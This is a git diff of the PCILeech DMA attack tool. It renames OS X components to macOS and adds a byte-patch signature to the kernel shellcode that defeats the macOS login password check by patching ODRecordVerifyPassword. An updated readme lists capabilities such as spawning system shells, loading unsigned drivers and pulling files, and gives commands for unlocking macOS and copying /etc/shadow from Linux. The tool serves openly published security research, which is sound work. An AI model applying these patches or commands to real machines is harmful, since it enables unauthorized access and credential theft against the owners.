+#define KMDDATA_OPERATING_SYSTEM_MACOS 0x04 /* * KMD DATA struct. This struct must be contained in a 4096 byte section (page). @@ -110,7 +110,7 @@ typedef struct tdFNOSX { // function pointers to OSX functions (used in main con */ typedef struct tdKMDDATA { QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. - QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/OSX). + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/MACOS). QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). QWORD DMASizeBuffer; // [0x018] size of DMA buffer. QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. @@ -151,7 +151,7 @@ typedef struct tdKMDDATA { #define KMD_CMD_READ_VA 6 #define KMD_CMD_WRITE_VA 7 -#define VM_MIN_KERNEL_ADDRESS 0xFFFFFF8000000000UL +#define VM_MIN_KERNEL_ADDRESS 0xFFFFFF8000000000ULL //------------------------------------------------------------------------------- // Kernel module functions below. @@ -202,7 +202,7 @@ VOID stage3_c_EntryPoint(PKMDDATA pk) QWORD i, idleCount = 0; // 0: set up symbols and kmd data pk->MAGIC = 0x0ff11337711333377; - pk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_OSX; + pk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_MACOS; if(!LookupFunctionsDefaultOSX(pk->AddrKernelBase, (QWORD)&pk->fn)) { pk->_status = 0xf0000001; return; diff --git a/pcileech_shellcode/ax64_unlock.c b/pcileech_shellcode/macos_unlock.c similarity index 71% rename from pcileech_shellcode/ax64_unlock.c rename to pcileech_shellcode/macos_unlock.c index 38425ef..1b994bf 100644 --- a/pcileech_shellcode/ax64_unlock.c +++ b/pcileech_shellcode/macos_unlock.c @@ -1,15 +1,15 @@ -// ax64_unlock.c : kernel code to remove the password requirement when logging on to OS X. +// macos_unlock.c : kernel code to remove the password requirement when logging on to macOS. // // (c) Ulf Frisk, 2016 // Author: Ulf Frisk, pcileech@frizk.net // // compile with: -// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_common.c -// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_unlock.c -// ml64.exe ax64_common_a.asm /Feax64_unlock.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main ax64_unlock.obj ax64_common.obj -// shellcode64.exe -o ax64_unlock.exe "APPLE OS X UNLOCKER - REMOVE PASSWORD REQUIREMENT! \n=================================================================\nREQUIRED OPTIONS: \n -0 : Set to one (1) in order to unlock. \n Example: '-0 1'. \n===== RESULT AFTER UNLOCK ATTEMPT (0=SUCCESS) ===================%s\nSTATUS : 0x%08X \n=================================================================\n" +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_common.c +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_unlock.c +// ml64.exe macos_common_a.asm /Femacos_unlock.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main macos_unlock.obj macos_common.obj +// shellcode64.exe -o macos_unlock.exe "APPLE macOS UNLOCKER - REMOVE PASSWORD REQUIREMENT! \n=================================================================\nREQUIRED OPTIONS: \n -0 : Set to one (1) in order to unlock. \n Example: '-0 1'. \n===== RESULT AFTER UNLOCK ATTEMPT (0=SUCCESS) ===================%s\nSTATUS : 0x%08X \n=================================================================\n" // -#include "ax64_common.h" +#include "macos_common.h" //---------------------------------------------------------------------------------------------------------- @@ -48,7 +48,7 @@ BOOL Unlock_FindAndPatch(PKMDDATA pk, PBYTE pbPage, PSIGNATURE pSignatures, DWOR return result; } -#define NUMBER_OF_SIGNATURES 1 +#define NUMBER_OF_SIGNATURES 2 STATUS Unlock(PKMDDATA pk) { SIGNATURE oSigs[NUMBER_OF_SIGNATURES] = { @@ -57,6 +57,11 @@ STATUS Unlock(PKMDDATA pk) { .cbOffset = 0xfd3,.cb = 6,.pb = { 0xeb, 0x02, 0x31, 0xdb, 0x88, 0xd8, 0x48, 0x83 } }, { .cbOffset = 0xfd7,.cb = 2,.pb = { 0xb0, 0x01 } } } }, + { .chunk = { // CFOpenDirectory!ODRecordVerifyPassword (El Capitan | 466064 bytes) + { .cbOffset = 0x134,.cb = 8,.pb = { 0x08, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xf7, 0xe8 } }, + { .cbOffset = 0x13c,.cb = 8,.pb = { 0x3e, 0xc4, 0x00, 0x00, 0xeb, 0x02, 0x31, 0xdb } }, + { .cbOffset = 0x144,.cb = 2,.pb = { 0xb0, 0x01 } } } + }, }; PBYTE pbMemoryMap; QWORD cbMemoryMap, qwBaseAddress, qwMemoryAddressMax, o; diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj b/pcileech_shellcode/pcileech_shellcode.vcxproj index 4048de1..79c7f8c 100644 --- a/pcileech_shellcode/pcileech_shellcode.vcxproj +++ b/pcileech_shellcode/pcileech_shellcode.vcxproj @@ -48,16 +48,19 @@ - - - - - + + + + + + + + @@ -73,13 +76,16 @@ - - - + + + + + + @@ -91,13 +97,16 @@ - + + + - + + diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters index a7941bb..6d5b41e 100644 --- a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters +++ b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters @@ -33,39 +33,21 @@ - - Source Files - Source Files Source Files - - Source Files\unlock - Source Files\unlock Source Files\page - - Source Files\kmd_core - Source Files\kmd_core - - Source Files\kmd_core - - - Source Files\file - - - Source Files\file - Source Files\file @@ -102,11 +84,35 @@ Source Files\driver + + Source Files + + + Source Files\unlock + + + Source Files\file + + + Source Files\file + + + Source Files\kmd_core + + + Source Files\kmd_core + + + Source Files\file + + + Source Files + + + Source Files + - - Source Files - Source Files @@ -116,12 +122,6 @@ Source Files\page - - Source Files\kmd_core - - - Source Files\kmd_core - Source Files\kmd_core @@ -152,27 +152,54 @@ Source Files\kmd_core + + Source Files + + + Source Files\kmd_core + + + Source Files\kmd_core + + + Source Files\kmd_core + + + Source Files\kmd_core + + + Source Files + - - Header Files - Header Files Header Files + + Header Files + + + Header Files + + + Header Files + - - Source Files\kmd_core - Source Files\kmd_core Source Files\kmd_core + + Source Files\kmd_core + + + Source Files\kmd_core + \ No newline at end of file diff --git a/pcileech_shellcode/statuscodes.h b/pcileech_shellcode/statuscodes.h new file mode 100644 index 0000000..2e28998 --- /dev/null +++ b/pcileech_shellcode/statuscodes.h @@ -0,0 +1,19 @@ +// statuscodes_common.h : status codes for non-windows kernel implants. +// +// Author: Ulf Frisk, pcileech@frizk.net +// + +#ifndef __STATUSCODES_H__ +#define __STATUSCODES_H__ + +#define STATUS_FAIL_FUNCTION_LOOKUP 0xf0000001 +#define STATUS_FAIL_FILE_CANNOT_OPEN 0xf0000002 +#define STATUS_FAIL_FILE_SIZE 0xf0000003 +#define STATUS_FAIL_INPPARAMS_BAD 0xf0000004 +#define STATUS_FAIL_ACTION 0xf0000005 +#define STATUS_FAIL_SIGNATURE_NOT_FOUND 0xf0000006 +#define STATUS_FAIL_OUTOFMEMORY 0xf0000007 +#define STATUS_FAIL_MEMORYMAP_NOT_FOUND 0xf0000008 +#define STATUS_FAIL_FILE_READWRITE 0xf0000009 + +#endif /* __STATUSCODES_H__ */ diff --git a/readme.md b/readme.md index 87eb0ad..889c2e2 100644 --- a/readme.md +++ b/readme.md @@ -2,7 +2,7 @@ PCILeech Summary: ================= The PCILeech use the USB3380 chip in order to read from and write to the memory of a target system. This is achieved by using DMA over PCI Express. No drivers are needed on the target system. The USB3380 is only able to read 4GB of memory natively, but is able to read all memory if a kernel module (KMD) is first inserted into the target system kernel. Reading 8GB of memory from the target system take around one (1) minute. The PCILeech hardware is connected with USB3 to a controlling computer running the PCILeech program. PCILeech is also capable of inserting a wide range of kernel modules into the targeted kernels - allowing for pulling and pushing files, remove the logon password requirement, loading unsigned drivers, executing code and spawn system shells. -The software is written in visual studio and runs on Windows 7/Windows 10. Supported target systems are currently the x64 versions of: Linux, OS X and Windows. +The software is written in visual studio and runs on Windows 7/Windows 10. Supported target systems are currently the x64 versions of: Linux, FreeBSD, macOS and Windows. Hardware: ========= @@ -49,7 +49,7 @@ The Google Android USB driver also needs to be installed. Download the Google An Generating Signatures: ====================== -PCILeech comes with built in signatures for Linux and OS X. For Windows 8.1 and higher two full pages of driver code is needed to hijack the kernel. In order to avoid copyright issues the end user has to generate these signatures by themselves using the pcileech_gensig.exe program. The user needs to point to a valid ntfs.sys file in order to generate a signature. Alternatively it is possible to use the unstable/experimental win10_x64 generic built-in signature. +PCILeech comes with built in signatures for Linux, FreeBSD and macOS. For Windows 8.1 and higher two full pages of driver code is needed to hijack the kernel. In order to avoid copyright issues the end user has to generate these signatures by themselves using the pcileech_gensig.exe program. The user needs to point to a valid ntfs.sys file in order to generate a signature. Alternatively it is possible to use the unstable/experimental win10_x64 generic built-in signature. Capabilities: ============= @@ -62,14 +62,14 @@ Users should be able to extend PCILeech easily by writing own kernel shellcode m * Spawn system shell [Windows]. * Spawn any executable [Windows]. * Load unsigned drivers [Windows]. -* Pull files [Linux, Windows, OS X]. -* Push files [Linux, Windows, OS X]. -* Patch / Unlock (remove password requirement) [Windows, OS X]. +* Pull files [Linux, FreeBSD, Windows, macOS]. +* Push files [Linux, Windows, macOS]. +* Patch / Unlock (remove password requirement) [Windows, macOS]. Limitations/Known Issues: ========================= * Read and write errors on some older hardware. Try "pcileech.exe testmemreadwrite -min 0x1000" in order to test memory reads and writes against the physical address 0x1000 (or any other address) in order to confirm. -* Does not work if the OS uses the IOMMU/VT-d. This is the default on OS X (unless disabled in recovery mode). Windows 10 Enterprise with Virtuallization based security features enabled does not work fully - this is however not the default setting in Windows 10. +* Does not work if the OS uses the IOMMU/VT-d. This is the default on macOS (unless disabled in recovery mode). Windows 10 Enterprise with Virtuallization based security features enabled does not work fully - this is however not the default setting in Windows 10. * Some Linux kernels does not work. Sometimes a required symbol is not exported in the kernel and PCILeech fails. * Linux might also not work if some virtualization based features are enabled. * Windows Vista: some shellcode modules such as wx64_pscmd does not work. @@ -77,11 +77,11 @@ Limitations/Known Issues: Examples: ========= -Load OS X kernel module: -* ` pcileech.exe kmdload -kmd osx_x64 ` +Load macOS kernel module: +* ` pcileech.exe kmdload -kmd macos ` -Remove OS X password requirement, requires that the KMD is loaded at an address. In this example 0x11abc000 is used. -* ` pcileech.exe ax64_unlock -kmd 0x11abc000 -0 1 ` +Remove macOS password requirement, requires that the KMD is loaded at an address. In this example 0x11abc000 is used. +* ` pcileech.exe macos_unlock -kmd 0x11abc000 -0 1 ` Retrieve the file /etc/shadow from a Linux system without pre-loading a KMD. * ` pcileech.exe lx64_filepull -kmd LINUX_X64 -s /etc/shadow -out c:\temp\shadow ` @@ -127,6 +127,9 @@ v1.1 * other: firmware flash support without PLX SDK. * other: various bug fixes. -latest -* core: stability improvements and fixes. +v1.2 +* core: FreeBSD support. +* implant: pull file from FreeBSD [fbsdx64_filepull] * signature: Windows 10 updated. +* signature: macOS Sierra added. +* other: various bug fixes and stability improvements.